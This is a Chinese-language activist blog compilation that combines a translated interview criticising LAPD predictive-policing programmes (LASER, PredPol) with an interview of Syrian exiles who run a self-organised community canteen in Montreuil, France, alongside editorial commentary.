2010年，我们研究了这些[洛杉矶警察局监控]计划的各种实施方式。预测性警务是一个关键项目。我们在2016年正式发起了一项运动，了解预测性警务在洛杉矶的影响，目标是拆除该计划，将这些信息带给社区并进行反击。

基于人的预测性警务声称，对于那些被称为 “利益相关者” 或所谓 “惯犯” 的个人，警察可以使用所谓的风险评估工具来确定他们是否会再次犯罪。

所以这是一个数字游戏。如果他们过去曾经有过任何支持枪支的行为，就被分配5分。如果他们处于假释或缓刑期， 再被分配5分。如果他们是所谓的帮派成员，再被分配5分。如果他们与警察有互动，比如被警察拦截和搜身，被分配1分 ……

那些处在假释或缓刑正在努力重建自己的生活的人、或简单地因为住在了某个警察感兴趣的地方的人，成为了所谓的 “未来犯罪嫌疑人”，不知道有多少无辜的人因此遭受到了重点监视和骚扰。

- 中国的 “社会信用评分” 就是一个典型的 “预测性警务” 监视项目。而这种项目目前在全世界流行

然后根据这个风险评估，Palantir 正在处理所有的数据，洛杉矶警察局创建了一个名单。 他们开始发布公告，这就像一个通缉令的海报，被认为所有可能犯罪的人的照片，地址，以及人生历史，并把海报贴在巡逻车上。

他们开始部署车牌阅读器、黄貂鱼（**IMSI-Catcher**）、闭路电视监视摄像机、以及其他各种监视技术来追踪他们想要的任何人的行动，然后创造各种条件，以阻止和骚扰并恐吓那些人。

我们建立了很多草根力量，2019年4月，“Operation Laser” 监视计划正式被停止了。

而现在我们正在跟踪 PredPol 监视项目，并要求 PredPol 也被拆除。我们废除和拆除这个项目的目标并不只是植根于垃圾进、垃圾出；种族主义数据进、种族主义数据出。📌 我们的工作真正瞄准的是它最终的服务对象 —— 父权制和资本主义以及白人至上主义和定居者殖民主义的整个意识形态框架。

【注：这是非常出色的思考方式。就如禁止一个人脸识别项目并不能改变我们面临的威胁，除非彻底铲除维系反乌托邦生态的意识形态。更多见 《被俘虏的城市：为什么人们会接受可怕的军统？》】

我们在2018年5月发布了一份关于洛杉矶预测性警务的报告 “在子弹击中身体之前”，这导致洛杉矶市举行了关于数据驱动警务的公开听证会，这在全国尚属首次。

我们要求监察长对 PredPol 监视计划进行取证审计。2019年3月，监察长公布了审计结果，报告中说我们甚至无法对 PredPol 进行审计，因为这根本不可能。它是如此、如此的复杂。

算法不应该在警察工作占据任何地位。我认为至关重要的是，我们必须明白，这关系到人命。这种基于位置的警务语言本身就是种族主义的代表。地点被用来对人被定罪， 人被定罪， 只因为此人恰好出现在事发地点附近。Team leaders of Stop LAPD Spying Coalition Hamid Khan (right), Jamie Garcia (center), and Gen Dogon (left) in the Skid Row neighborhood of LA, where the coalition has its headquarters.

如何确保公众了解这些警务手段？

公共记录是一个非常好的获取信息的工具。这个项目的由来是什么？

我们想知道。它的愿景是什么？资助的目的是什么？它们是如何被表述的？它们向资助者展示的成果是什么？

他们[洛杉矶警方]会将一个地区、一栋公寓楼，视为所谓的目标热点和区域。而人们在这附近会更多更快地遭遇被拦截盘查。每当警察拦下一个人，这些信息就会被输入数据库。它成为了一个主要的数据收集计划。

我们要求警方公布他们所收集的这些人的秘密名单。洛杉矶警察局反击，但最后我们确实赢得了公共记录诉讼。因此，现在我们得到了一个秘密名单上面有 679个人，而且都是年轻人，约90%至95%的黑人和有色人种。

- 瞄准年轻人是很多国家维稳计划的重心，比如香港，更多见《“帮派数据库”是什么？为什么据此就可以直接给无辜的市民定下重罪？》
- 五角大楼的秘密维稳演习中也是强调了针对年轻人“反叛”的镇压计划；包括对无家可归者的警戒，以保护富人为目标，见《当我们陷入困境：中国社会能从美国的反抗运动中学到什么》

重新划定区域，为更多的开发、更多的驱逐、更多的人流离失所创造了实地条件。于是警察成了特权的保护者。

您想对那些相信技术可以帮助减轻警务中的某些问题（例如偏见）的人说些什么？他们认为技术可以是客观的？

首先，技术不是自我操作的。从设计到生产到部署再到结果，都是人在做，都会不断地在技术中内置偏差。这不仅仅是人本身的偏见，还包括系统内部固有的偏见。

影响点如此之多，坦率地说，📌 我们的斗争不是为了清理数据；我们的斗争不是为了一个无偏见的算法，因为我们不相信有那种东西存在，即使在数学上，也不可能有一个无偏见的算法来维持治安。

【注：这就是激进派与改革派组织最大的区别，改革派组织永远会着眼于增强算法的“公平性”，这点已经被各种监视技术寡头所利用，因为寡头们只要声称提升技术能力就可以继续让野蛮的监视横行。】

当涉及警察技术和监视时，人权方面的考虑是什么？

第一个人权考虑是停止将人类当作需要被检验的商品。我是一个人，

我在这里，我不是一件物品，你不能只是拆开我的包装，然后检验我。

生活中已经有太多的数据化。从种植园资本主义到种族化的资本主义，再到现在的监控资本主义，人类一直在被不断地买卖。我们的头脑和思想已经被商品化了。这对我们作为自然宇宙的一部分的人类的创造力产生了抑制作用。我们的同意正在被他们制造出来。

上图中这本书在这里下载：https://www.patreon.com/posts/wei-ji-he-li-wei-38320578

使用冠状病毒之类的东西为借口，我们肯定会看到有人愿意放弃自己的数据和某些隐私。您如何看待所谓的效用与隐私之间的选择或取舍？

我们必须真正从一个更广泛的角度来看待这个问题。 回到我们的指导价值之一上：📌 这不是一个时间点，而是整个监视历史的延续。因此，我们必须审视过去的危机，包括真实的和编造的危机。

- 《冠状病毒危机究竟是否能够结束？：威权主义的权衡》
- 《他们将中国视为榜样：泄露文件揭示政府间谍机构如何利用冠状病毒推动大规模监视的内幕》
- 《#COVID-19(84)冠状病毒如何让整个地球变成了反乌托邦地狱—包括但并仅仅是中国：长篇报告》
- 《监视技术的扩张并无助于防疫 …… 冠状病毒教给人类的东西》

让我们看看1984年洛杉矶奥运会。这导致了最大规模的警察权力扩张、以及洛杉矶警察局和警长部门的军事化 —— 就在公共安全的幌子下。

他们说 “好吧，我们想保持一切安全”。但是，监视不仅成为了永久性功能和所谓的新常态，而且还开发了新的维稳战术。

由于街道必须被清理， 可疑的尸体、无家可归者，都被强制移除。帮派扫荡已经开始。因此，年轻的黑人和有色人种年轻人被大规模逮捕。这就像1983年到1984年。

到了1986–1987年，在洛杉矶，所谓的帮派禁令成了一个长期的特点。这导致了大量的 “帮派数据库”， 甚至还包括儿童，9个月大的婴儿也进入了这些帮派数据库。这就变成了 “Operation Hammer,”，从

那时开始，警察就得到了坦克和装甲车，被特警队使用，他们摧毁了人们的家园。

- 关于警察军事化的历史和现实，见《当我们陷入困境：中国社会能从美国的反抗运动中学到什么》- 其中的第5个部分 “警察军事化的危机”

现在我们又到了这样一个时刻。这不仅仅是警察权力的结构性扩张；我们必须看到警察现在越来越多地僭越。 这种状况在过去10年里一直在建立。

这其中还挪用了很多原本应该被用于健康和人类服务的资金。例如，在洛杉矶，市管在五年前出了一份审计报告，他们查看了城市提供的**1**亿美元的无家可归者服务，你猜怎么着？其中有**8700**万美元是给洛杉矶警方的！

简单说，是维稳经费，而不是给无家可归者的服务。

您能否提供一个具体示例说明警察对技术的使用如何影响社区成员？

- 情报主导型警务* 这是一个来自英国肯特郡警察部队的概念，大约30年前在美国开始流行。情报主导警务的核心主题就是对大众的行为监控 —— 警察认为人们的行为需要被监控，然后被处理，这些信息需要被共享；人们需要被追踪和跟踪。

【注：如 Khan 所说，“情报主导型警务” 的概念的确是英国发明的，而通过监视每个人的一举一动形成针对大众的行为监控和分析，这种做法是美国创立的并流行全球，即 监视资本主义的起源。谷歌诞生于1998年，关于谷歌是怎么来的，见《谷歌的真面目—— They’re always watching》】

9/11事件后出现了一个名为 “可疑活动报告” 的监视项目，其中有几项完全受宪法保护的活动都被列为了潜在的可疑活动；例如，在公共场所拍照，在公共场所使用摄像机，走进基础设施，询问营业时间 ……

简单说，他们一直在观察人们的行为， 并没有合理的理由。这不是一个事实，而是一个关注点。这种基于猜测和直觉的警务是真实存在的。

您肯定知道 “See Something, Say Something” 那个口号，它是一个监视项目，其中的数据显示，该监视项目对黑人社区的影响是对白人 **3:**

1的差异。大约70%的 “See Something, Say Something” 小报告来自洛杉矶主要的白人社区。

所以，你知道，现在这个项目被武器化了，成为一个被授权的种族主义。

我们的目标始终是建立力量，争取废除所有这些监视计划，因为你无法改革它们。这些方案必须被彻底拆除。

因此，您真的认为改革派无法在警务中禁止这些监视技术吗？

我只能说说我自己在洛杉矶35年的组织工作史。这不是一个越来越好的问题， 这是一个越来越糟糕的问题。而技术不断在进步。看看改革的历史就能明白， 我们一直在用头撞墙， 它只是不断地回到同样的老东西。

📌 我们真的不能假设人心可以改变，尤其是当有人拥有杀人执照的时候，我们就不能这样操作。

我不是技术专家。我们对技术人员的警告是：您知道，stay in your lane 做你该做的事。跟随社区并遵循他们的指导。〇

The activist dismantling racist police algorithms

原文

与流亡组织对话：政治避难者如何在异国他乡继续奋斗 - iyouport

反抗者-寻求经验

随着越来越多的反抗者和政治组织者被驱逐到世界各地流亡，他们的反抗事业并没有就此中断。本文是一份宝贵的文件，讲述了寻求庇护者如何在新的环境中继续自己的反抗组织，当地人如何帮助使之成为可能，尤其是，国际团结的重要意义。

以下是3月31日的消息：

> 饿死还是战死，你选 ——
>
> 一个雇佣兵解释了为什么叙利亚人愿意去乌克兰作战：因为他们没有任何生活来源。
>
> 在叙利亚的社交网络上，你可以找到许多参加前线作战行动的报价，价格为7000美元，或获得3500美元加入后方作战支援工作。
>
> 俄罗斯在包括大马士革和阿勒颇在内的许多城市开设了14个招募中心。
>
> 一位不愿透露姓名的志愿者说，他本人认识至少200名申请加入战斗的人，其中80%的人只是为了一块面包而选择去送死。
>
> 志愿者们也意识到，他们中的大多数人可能会在战争中丧生，但他们别无选择：叙利亚的食品和基本生活用品的价格已经暴涨，人们几乎入不敷出。
>
> 俄罗斯声称已在中东地区招募了约16000名志愿者。

统治阶级制造贫困是为了利用贫困。俄罗斯本地也是如此。从国安局到格鲁乌，他们一直在从最贫穷的地区招募人员。投胎在穷乡僻壤的人们，毕生唯一的“出路”就是祈祷自己能被这些最肮脏的机构看中，去为他们卖命，为了一块硬面包填肚子去杀人或者被杀。这些人非常听话，只是为了吃饱，而非政治意识。

现在，这一危机正在全球蔓延 —— 在冠状病毒大流行导致的经济衰退的基础之上又发生了战争导致的燃料价格上涨和粮食短缺。燃料价格带来的是几乎所有商品的涨价，这是关于运输成本，中国的大城市已经在吐槽物价了。也是为什么两周前开始我们采取了新的标签 ***#AfterTheWar***。

这种情况下会有多少人为了填饱肚子去作恶？

这是乌克兰战争后的下一个热点 —— 与全世界绝大多数人密切相关的问题，也是我们的乌克兰系列最后一集的主题：《从北京到世界》。

以下是**3月21日的消息**：

不能让国家毁掉我们 ——

为无政府主义跨国联合组织 *CrimethInc* 设计俄语版刊物封面的艺术家自杀了。只知道他的笔名是帕维尔·科尔舒诺夫*(Pavel Korshunov)*。他在俄罗斯遭到迫害，然后在乌克兰又被拒绝庇护，再在波兰面临痛苦的移民过程。像所有的人一样，他原本应该有一个可以充分利用其创造天赋的生活。

国家镇压、军国主义和边境官僚主义是一个致命的组合。任何人都不要为普京的暴政和帝国主义找借口，也不要为欧盟的边境制度找借口，更不要假装它们只伤害冲突一方的人。

科尔舒诺夫的战友、无政府主义出版合作社《激进理论与实践》在声明中写道：

「现在我们身上有很多苦涩和愤怒的情绪。

> 我们憎恨国家迫使人们在酷刑和监狱的威胁下躲藏起来。
>
> 我们憎恨国家打破我们人类同胞的同理心。
>
> 我们憎恨国家创造了对我们大多数人来说都难以跨越的边界。
>
> 这些边界囚困着我们，让我们不得不花费大量力气去获得各种文件，无暇享受生活和创造。
>
> 他们发动战争摧残我们的人生，折磨我们的命运。
>
> 请活下去！不能让国家毁掉我们！」
>
> *#Russians #humanrights #Anarchism*

我们去年推荐过香港的无政府主义项目，您可以在这里回顾《“我们要尝试一种没有霸权的生活”：对香港行动者的访谈》。这是一个在本土进行的直接行动项目。而本文将要介绍的是另一个类似的直接行动项目，是在“异国他乡”实现的，它可能有着更为重要的意义。

作为全球移民/流亡大国，中国的流亡者大多没有能够与庇护国本土的活动家社区结盟，在来自其他国家的流亡者移民/难民社区中也很难看到华裔的身影，这是一项值得注意的缺憾。因为这让华人移民的反抗行动具有明显的局限性，缺乏经验借鉴和协作优势，抵抗力量也更加难以反馈回原籍国。

本文也许是一个您值得学习的案例。并且它提出了一系列重要问题——尤其是，我们在2020年的年终对话中强调警惕的东西：我们当时称之为西方左翼偏执派。您可以在这里回顾。在新冷战的局势下，这一问题与中国密切相关，中国朋友有必要了解这件事。

偏执派集中在反帝和反战两个方面，他们试图借助中国为“杠杆”以撬动帝国，于是他们支持中国“挑战”美国。就如同一批人，在乌克兰战争中帮助俄罗斯说话，采取的是同一逻辑。这是非常荒唐的，与其自称的反帝战略背道而驰——中国作为新帝国的论述目前为止依然没能进入主要议题，也与这些偏执派伪装的激进势头有一定关系。

虽然与部分中国异议中出现的权威依赖有所不同，西方左翼偏执派并不真的认同或信任他们声称支持的国家政权（中国、伊朗、俄罗斯、叙利亚等等），但他们错误的战术侮辱了革命立场、打破了原本重要

的联盟，尤其是助长了邪恶力量 —— 仅仅中国政府的宣传，近两年内就多次试图利用西方左翼偏执派。

本文中的对话者对这一虚假反帝的起源进行了一些分析，可帮助中国朋友分辨。

- 如果您错过了《逃离中国》

  > 2011年3月，叙利亚爆发了反对独裁者巴沙尔·阿萨德的起义。阿萨德动用了军队的全部力量来对付随之而来的革命运动；然而，在一段时间内，革命运动似乎已经有可能推翻他的政府。

- 我们在2018年介绍过一些相关书籍《在死神的肆虐中捡起被丢弃的故事—— “我们的家园，我们自己的反抗”》

十一年前，即 2011年3月15日，叙利亚爆发了反对巴沙尔·阿萨德政权的抗议活动。在接下来的几年里，发生了一场革命，这场革命将该国大部分地区从阿萨德的控制下夺回。

然而，随着世界各国政府的干预、支持不同的派别，斗争变得越来越激烈，最终以伊斯兰国的崛起为一方，而俄罗斯政府在另一方介入，使阿萨德以巨大的人命代价保留了权力。数以百万计的叙利亚人被迫流亡。

在巴黎，一些来自叙利亚革命的流亡者成立了“叙利亚小酒馆”，这是一个为社会运动和组织活动提供空间的社区中心，将世界各地的革命者和草根组织反抗者聚集在一起。

在下面的采访中，参与者讲述了他们在革命过程中是如何被政治化的，描述了在一个新国家成为反抗运动组织者的挑战，并分析了虚假的“反帝国主义”的根源 —— 它压制了那些声称要捍卫其利益的人们的声音。

从阿富汗、乌克兰到苏丹和海地，数以百万计的人们被迫流亡，这是一份宝贵的文件，讲述了难民如何在新的环境中继续自己的反抗组织，当地人如何帮助使之成为可能，尤其是，国际团结的意义。午餐时间，这是叙利亚小酒馆的第一个空间。

首先，请介绍一下“叙利亚小酒馆”。

L-: 我们中的一些人是在2018年占领巴黎第八大学时认识的，要求对

那年冬天流落街头的无证移民进行“集体规范化”。我们中的一些人帮助进行阿拉伯语翻译，一些人帮助做饭，另一些人帮助调解和谈判。那是一些法国本地人和叙利亚流亡者之间的第一次决定性接触，他们现在是“小酒馆”的成员。

几个月后，出现了更多的大学占领行动：有些侧重于难民权利斗争，有些侧重于学生斗争。与一群叙利亚学生一起，我们认为我们必须加入学生运动，而不是把我们的活动限制在难民问题上。我们开始在被占领的校园加入行动，谈论叙利亚学生在革命期间的动员情况。这使得我们与巴黎地区的“激进左翼”圈子有了更多的接触和联系。

2018年底，黄背心运动爆发；叙利亚人和后来成为“小酒馆”成员的法国人都参加了。次年3月，一些参与蒙特勒伊黄背心的同志邀请我们在叙利亚革命周年纪念日发言，讨论自我组织以及我们可以为正在发生的起义分享的经验教训。对我们来说，我们一直努力在蒙特勒伊组织起来，尤其是在我们完成学业后，我们希望能在学生运动和难民斗争之外继续我们的政治活动。

叙利亚小酒馆的诞生是出于我们想要创造一个难民自我组织的空间的愿望，以及为我们在法国重新创造一个“家”的感觉的需要。“叙利亚小酒馆“为黄背心运动一周年提供晚餐。

D-: 我们想继续革命，继续我们的道路，追求我们在叙利亚革命中的目标。我们不想自暴自弃，我们不认为一旦流亡就要老老实实地闭嘴。在法国，可以做很多事，有很多政治运动和社区，我们可以组织起来，分享经验，以建立团结，证明自由是可能的。法国的人们在革命活动方面有很多经验。另外，我们想表明，阿萨德和伊斯兰主义都不是绝对的，都有替代方案，并非没有。

L-: 我们每周做三次饭，并分享我们的烹饪传统，例如通过开设烹饪课。同时，我们还组织音乐会、电影放映、展览等活动。我们的想法是要阐明不同领域之间的联系：一个互助的和跨国团结的文化空间。

因此，我们有阿拉伯语和法语的语言课程。我们还定期组织讨论——例如，关于叙利亚和巴勒斯坦斗争之间的联系，或最近在苏丹动员起来反对军事政变的斗争，或与来自阿富汗的志同道合的流亡者会面，交流通报那里的情况。

我们所有的活动都是免费的，或者参与者随意捐赠。最后，我们有两个重要的年度活动：一个是叙利亚革命周年纪念，另一个是我们的国际主义节日“人民需要”，我们邀请来自世界各地的同志。在2021年

11月的最后一次活动中，参与者来自印度、智利、希腊、伊朗、苏丹、黎巴嫩和美国。我们讨论了国际女权主义的潜力，辩论了国际主义的新旧形式，并比较了革命的战略设想。目前，我们正在筹备第四届。

我们的基地是一个自我组织的社会中心，叫做 AERI[Ateliers d'expérimentations révolutionnaires et imaginaires，“革命性和想象性的实验工作室”]。它是一个团结和互助的空间，涉及到其他几十个集体和活动。来自许多不同国籍和背景的人在这个空间聚会和组织。一切都是免费的。这里有瑜伽或女权主义武术等活动，有3D打印和编码工作室，有面包店，有照片室，还有很多其他活动。

当然，这里也有一些集体，如黄背心运动，他们有自己的食堂，还有人民团结旅，他们在封锁期间非常积极地开展互助工作。

这种实践和方法的多样性很适合我们；这个空间让我们有机会把自己和我们的工作固定在蒙特勒伊这个活跃的和反叛的领土上，并为这里的地方自治建设作出贡献。它还让我们有机会认识各种各样的人，从与任何政治社区没有关系但对发现这个空间感到好奇的邻居到参与移民或住房相关斗争的政治活动家。在 AERI 空间举行的音乐会。

我们还定期与法国的集体或法国的难民/流亡活动家一起组织活动。去年，我们在萨克雷的ZAD和南部的 Longo Mai 农场举行活动。最后，我们与国际上不同的集体和团体合作：由于我们每年的国际主义节日，我们已经开始建立了一个小型的协作网络。

我们就是这样互相认识并开始合作的。

我的梦想之一是参与创建某种自下而上的难民自我组织运动。不仅是法国的叙利亚人，还有其他国籍的人—— 甚至，还可以在全欧洲范围内开始，就像一个流亡者的国际组织那样！

D-: 有一天，我们希望在自由的叙利亚境内看到 “小酒馆” 这样的运动。现在，一家叙利亚小酒馆刚刚在卢森堡开张。我们非常高兴和自豪，因为我们的项目能够激励另一个国家的人们。我们希望更多的叙利亚小酒馆能在世界各地蓬勃发展。

L-: 下一次叙利亚将发生人民起义，我们希望我们的工作将有助于减少世界的冷漠，使叙利亚从2011年开始遭受的遗弃不再发生。

在起义之前，你对叙利亚的政治有什么经验？

L-: 当第一次抗议活动爆发时，我才18岁。如果不是这场革命，我想我不会像今天这样在政治上活跃。在革命之前，我曾经说过，我讨厌政治；我只看到了国家政治的形式，它充满了谎言和欺骗。革命前叙利亚的政治几乎完全是政府的领域。此外，政权宣传和监视无处不在，无法逃避。我们在小学时就不得不忍受这种宣传（在那里我们都被迫成为复兴党的成员）。我想反抗我认为是专制的东西，尽管当时我还没有能力说出这个词。对我来说，这更像是一种风格，或者说是对我们在学校和社会上不得不面对的高度惩罚性和无能的权威的一种本能的拒绝。17岁那年，我与“民族主义”老师发生争执后被赶出了高中。第二天，学校的校长告诉我，我的一些同学的父母打电话说我“打扰了他们孩子的学习”。我的中下层家庭是政治化的，但我只有在革命后才真正明白这一点。

D-: 我在体育领域工作。起初我是一名教练，然后我开始为不同的任务做协调和办公室工作：阿拉伯妇女体育协会和叙利亚妇女足球协会。20世纪80年代，我曾秘密参与过一个政党。

A-: 在20世纪80年代，如果你参与了政府允许的单一政党框架之外的任何种类的政治活动，或者你不想服从党的路线，你就没有任何权利过正常的生活。我父亲积极参加左翼运动。由于我父亲的政治活动，我的父母都很难找到工作。

我开始去参加我父亲参与的党的会议。我还参加了圆桌会议和组织支持阿拉伯国家的示威活动。我们组织了支持巴勒斯坦的抗议活动，然后是伊拉克，因为这是唯一允许我们举行的示威活动。在示威活动中，我们喊出了反对阿拉伯国家元首的口号，这些口号也有一部分是针对政权的。虽然我参与的党派是公开的，但许多激进的活动不得不保持秘密。在大学里，要想在政治上活跃起来是非常困难的；学生会被政权控制着并受到高度监视。

R-: 与革命爆发前的许多叙利亚人一样，我的活动仅限于在家庭的私人空间里对政权进行胆怯的批评。我的父亲曾是该政权的反对者；我在前共产主义活动家和前囚犯身边长大。

我很快意识到，鉴于监视和镇压，人们只要参与政治，就必须冒着生命危险。当我第一次了解到1982年2月由哈菲兹·阿萨德下令实施的哈马大屠杀时，我才9岁。我在哈马的墙上看到了旧的弹痕，问我父亲，他告诉了我这个故事。第二天在小学，像往常一样，学生们不得不用一些口号来“敬仰”哈菲兹·阿萨德。我很不高兴，我告诉来自哈马的朋友，她不应该跟着喊这些宣传口号，因为哈菲兹就在她的城市里进行了大屠杀。几个小时后，我朋友的父亲打电话给我父亲，让我

父亲教训我别说那么多话。人们彼此都很害怕。

镇压、监狱和屠杀的故事助长了人们对任何将生活缩减到基本层面（工作、吃饭、睡觉）并消灭所有创造性和批判性思维的权威的深深仇恨。2012 年 12 月在叙利亚的涂鸦：“快到了！！！”

你对叙利亚革命的看法是什么？

L-: 我记得当突尼斯和埃及的抗议活动开始时，我甚至还无法想象在叙利亚发生起义的可能性。我心想，并告诉我的朋友：风险太高了。好吧，代价是太高了，但革命确实在叙利亚发生了。在最初的几个月里，一些朋友被逮捕并遭受酷刑，不得不离开该国。我没有参与组织工作，我太害怕最终会被关进监狱 …… 强奸是阿萨德监狱中最常见的手段。

A-: 我参加了在大马士革郊区杜马的示威活动。4月，当我回到家乡时，我被警察审问，然后被释放。起初，他们并没有逮捕很多像我一样参加政党的人。我想这是一种策略，他们想要弄清楚谁是抗议活动的组织者。然后我被政权列入黑名单，并被踢出了大学。我去了阿勒颇，秘密加入了那里的斗争。我做了记录和人道主义工作。

D-: 在这场革命开始时，我感到非常自豪。我对德拉省的孩子们充满了感激和敬意，他们是第一批要求政权垮台的人，他们最终改变了这个国家的历史。

我和许多运动员一起，通过组建一个名为自由叙利亚运动员协会的团体，展示该政权的丑陋。我们能够写信给国际联合会，并向其提供图片和文件证据，显示该政权如何向知名的受欢迎的运动员施压，并试图利用他们来否定和镇压示威活动。

该政权将大马士革的 Abbasieen 体育场变成了一个军事基地。我们听到了关于那里发生的镇压的可怕故事。该政权想改变地方的身份，也想改变个人的身份。

如果你能看向奥林匹克运动的基本原则，你会发现和平与和解。你会发现对歧视的拒绝。通过自由叙利亚运动员协会，我们成功地阻止了叙利亚奥委会的代表参加国际奥委会会议，因为他们违反了奥林匹克运动会宪章。

我认为，革命是一种生活方式，在这种生活方式中，我们争取公平的东西，反对一切已经过时的东西，一切已经被证明是不正常的、不再

有效的东西。革命是实现更多正义的手段，以便我们能够生活在一个更美丽的世界。叙利亚革命是一种必然，它是历史上最古老的有人居住的首都之一对暴政和所有形式的独裁统治发出的呼声。2012 年 10 月在叙利亚的涂鸦：“Unbeliever in the impossible”。

R-: 当起义开始在阿拉伯世界蔓延时，我们一直紧盯着电视看新闻。这些革命者的事业就是我们的事业。我们在不同的压迫性政权下有着共同的生活经历。我仍然记得，当3月在叙利亚发生第一次示威时，我的家人流下了眼泪。因为我们从来没有想过这是可能的。

一个协调性的和组织运动的过程在几个层面上逐步出现。

当时我16岁，和一群朋友一起，我们自发地在高中阶段组织示威，在墙上画涂鸦和标语。我们逃课，以便去口头通知人们在这样的地点和这样的时间举行示威，避免使用电话和其他可能被监控的通信手段。

在革命期间，引人注目的是对地方规模、其特殊性和影响力的重新强调。小区和小城镇的名字又出现了，这对庞大的城市群是不利的。一场自下而上的起义正在发生，而叙利亚人从未如此团结过。

关于叙利亚革命的更多信息，我们推荐以下书籍：

- Burning Country: Syrians in Revolution and War, by Leila al-Shami and Robin Yassin-Kassab
- The Syrian Revolution: Between the Politics of Life and the Geopolitics of Death, by Yasser Munif
- The Impossible Revolution: Making Sense of the Syrian Tragedy, by Yassin al-Haj Saleh

2012 年 7 月在叙利亚的涂鸦：“Freedom”。

为什么你们最终不得不逃离叙利亚？你们作为难民的经历是怎样的？

D-: 逃离的决定变得不可避免，特别是在我收到直接威胁，命令我保持沉默并放弃所有组织活动之后。我感到自己处于危险之中，我担心我唯一的女儿的安全。所以我离开了。

A-: 2013年，随着达伊什进入冲突，我只有两个选择，要么拿起武器，要么离开，于是我离开了。

L-: 我不得不逃离，因为我的家人决定，我们留在这里不再安全。我试图说服自己，即使我的亲人都离开了，我也能在叙利亚生活，但这

并不十分合理。

我记得在与法国移民局的庇护面谈中，我有一半时间都在忍着泪水。要向那些可能从未踏足过我的国家、可能对革命一无所知、对我们地区的解放不屑一顾的人证明，我确实来自我的家乡，如果我回到那个地方，我将面临危险。这真是太累了。

那是2015年。朋友们甚至建议我与“叙利亚革命的知名人士”合影，以便向法国当局证明，阿萨德政权认为我是“危险人物”，因此“有资格”获得难民身份……

我作为难民的经历是国家官僚主义和歧视的结果；它是一种丧失和被贬低的经历。有一个时刻，我永远不会忘记。当你在法国寻求庇护时，你会收到一封信，通知你你的护照（你必须提交给政府作为你的国籍证明）被保存在移民局的“档案”中。当我收到那封信时，我想象着一个非常大的大厅，里面的护照一个挨着一个地挤着。我想知道他们到底是怎么处理这些护照的？

总之，这绝不是什么新鲜事 —— 但除了卡夫卡式的、羞辱性的和种族主义的行政程序外，你还必需整晚在外面排队等候，希望在早上能得到预约，而警察则对你大喊大叫，威胁说如果你不正确排队就把你“送回难民营”……

除了这些，始终要记住，请求庇护意味着让一个国家决定你是否有权利在世界的某个地方存在。我敦促那些经历过寻求庇护的人不仅要反思国家边界是否应该存在，还要反思国家这个赋予自己荒谬特权的机构。

尽管如此，我至少不必步行或乘船到达法国。那些不得不做这些事的人有更多可怕的故事要讲。

不过，我们还是要清楚，在法国和欧洲其他地方的叙利亚难民与其他国籍和肤色的人相比，或多或少地享有“特权”。与来自乍得、埃塞俄比亚、苏丹、阿富汗和其他地方的人相比，叙利亚人更容易获得难民身份。同样，依然是“国家”在决定你有权逃离哪些地方、哪些地方被认为不“代表足够的危险”。这实在是太荒唐了！2013 年 6 月在叙利亚的涂鸦：“难民”。

你到达法国时，那里发现了什么？法国政治界对叙利亚发生的事了解多少？

L-: 最初当我们启动 “小酒馆” 的时候，有些人过来问：“我们能做些什么来帮助叙利亚难民？我可以带些衣服过来！”—— 尽管我们非常明确地说，我们是要在附近创建一个受欢迎的小酒馆（而不是需要衣服）。人们很难把叙利亚难民想象成能够表达团结的行动者，而不仅仅是接受救助的被动者。

在法国，我发现了一个非常活跃的激进场景，特别是在2016年和反对劳动法的动员之后。今天不同了；我认为法国的激进团体在 “黄背心” 运动爆发后已经处于低谷，它曾经极大地受益于自治、无政府主义和反权威的圈子，但最终在社会运动的组织和战略方面出现了非常严重的问题，甚至陷入了困境。镇压是相当恐怖的。今天，需要其他的构想，以一种能够威胁到政府的方式来夺回街道。

在法国，除了激进派圈子的反叛运动方面，令人印象深刻的还有社区主义运动：无论是不同的 ZAD[Zone à Défendre，或 Zone to Defendre] 还是法国各地活跃的政治化地区的不同地方项目和倡议。我们的行动灵感来自于巴黎的一个受欢迎的食堂：la cantine des pyrénées。我们中的几个人习惯于在那里做饭，叙利亚小酒馆的一个成员曾经在那里上过法语课并帮助做饭。这是一个很好的地方，每个社区都需要一个像这样的团结场所，所以我们在蒙特勒伊创建了我们自己的项目。

我们从法国活动家那里学到了很多：他们拥有的自由使他们能够思考和实践在革命前我们无法想象的事。对我们中的一些人来说，在法国是我们第一次接触到无政府主义或反权威主义的理论和思想。当然，一些参与自我组织的叙利亚人不一定使用这个概念来称呼他们自己所做的事。与法国这里的同志们交谈后，我们才意识到我们在叙利亚所做的事就是人们在法国梦想的自治运动。有一段时间，我们必须协调我们彼此对奋斗目标和追求的理解。在某种程度上，我们设法达成了这一共识：叙利亚的地方议会是巴黎公社的一种现代形式。

现在我们来谈谈不太积极的方面。

大多数人都同情叙利亚人，一提起叙利亚，脑海中就会浮现出被杀害的儿童和被摧毁的建筑物的画面。有一段时间，我不得不避免说我来自叙利亚，因为有时这会引发一种 “哦，你这个可怜的女孩” 类似的反应。当你经常能听到这句话时，它真的变得很烦人。

大多数政治团体，特别是在革命的早期阶段，能够理解叙利亚正在发生和平动员，并支持它。不过，一些激进派圈子对称其为 “革命” 仍然有异议，因为抗议活动没有立即推翻政权，对自由选举或代议制民

主的诉求被认为“不够革命”（因为法国人对叙利亚的准极权主义状况知之甚少），否则就是因为运动没有涉及反资本主义层面。简而言之，革命被认为是“不纯的”，没有单一的定义的叙述。一些激进的左翼人士，在混乱的21世纪，仍然梦想着有那种类似于他们在理论课上或历史书中读到的消毒版本的民众起义。

无论如何，在革命的早期，人们似乎明白，在叙利亚街头的不是疯狂的伊斯兰恐怖分子。但他们却无法将这些反抗者视为潜在的同志。大多数上街的人都不是无政府主义者：但在任何全国性的民众起义中，无政府主义者也从来都不是多数吧？2012 年 12 月在叙利亚的涂鸦：“禁止坦克转向这里。”

总的来说，即使在活动家社区，人们对叙利亚革命中存在的自我组织结构和做法也一无所知。大家都在谈论罗贾瓦，却不了解在从政权中解放出来的地区的大多数街区、城镇、村庄和城市都有独立于库尔德工人党影响的地方议会、医院、学校、协调委员会和媒体中心的自我组织。在我们演讲后的讨论中，很多人都说：”你为什么不讲讲罗贾瓦？”

在某种程度上，他们是对的。我们在罗贾瓦问题上的沉默并不完全是合理的。在我们看来，西方激进派圈子里对罗贾瓦的迷恋把我们推到一个奇怪的位置，似乎在迫使我们说“嘿，我们也存在！”我们有可能在自己的分析中重复同样的错误，表现得好像罗贾瓦和叙利亚革命是两个完全不同的现实。我们意识到这一点，并试图发展一种话语，使我们能够谈论叙利亚革命，而不以罗贾瓦为中心进行讨论，但同时也不忽视它的存在。

